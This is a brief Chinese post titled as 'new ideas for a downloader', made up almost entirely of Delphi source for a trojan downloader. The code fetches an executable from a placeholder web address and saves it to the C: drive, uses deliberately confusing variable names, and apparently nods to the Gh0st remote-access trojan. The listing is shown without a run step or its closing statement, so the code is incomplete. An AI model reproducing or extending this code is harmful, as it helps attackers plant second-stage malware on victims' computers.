下载者的新思路

 

program Project2;
uses
windows,
Wininet,
SysUtils;
var
File_shangNet, File_XiaNet: string;
//////////////////////////////////////

const BufferSize = 1024;

Pingto_ghoSt1='http://xxxxx/1.exe' ;
PingFo_WWW1='c:/1.exe';
var
hSession, Foy_WWr: HInternet;
Buffer: array[1..BufferSize] of Byte;
BufferLen: DWORD;
f: File;
Pingto: string;
cmd :array[0..MAX_PATH] of char;
begin
Pingto := ExtractFileName(cmd); //返回指定文件名与扩展名
hSession := InternetOpen(PChar(Pingto),
INTERNET_OPEN_TYPE_PRECONFIG,
nil, nil, 0);
try
Foy_WWr := InternetOpenURL(hSession,
PChar(Pingto_ghoSt1),
nil,0,0,0);
try
AssignFile(f, PingFo_WWW1);
Rewrite(f,1);
repeat
InternetReadFile(Foy_WWr, @Buffer,
SizeOf(Buffer), BufferLen);
BlockWrite(f, Buffer, BufferLen)
until BufferLen = 0;
CloseFile(f);

finally
InternetCloseHandle(Foy_WWr)
end
finally
InternetCloseHandle(hSession)
end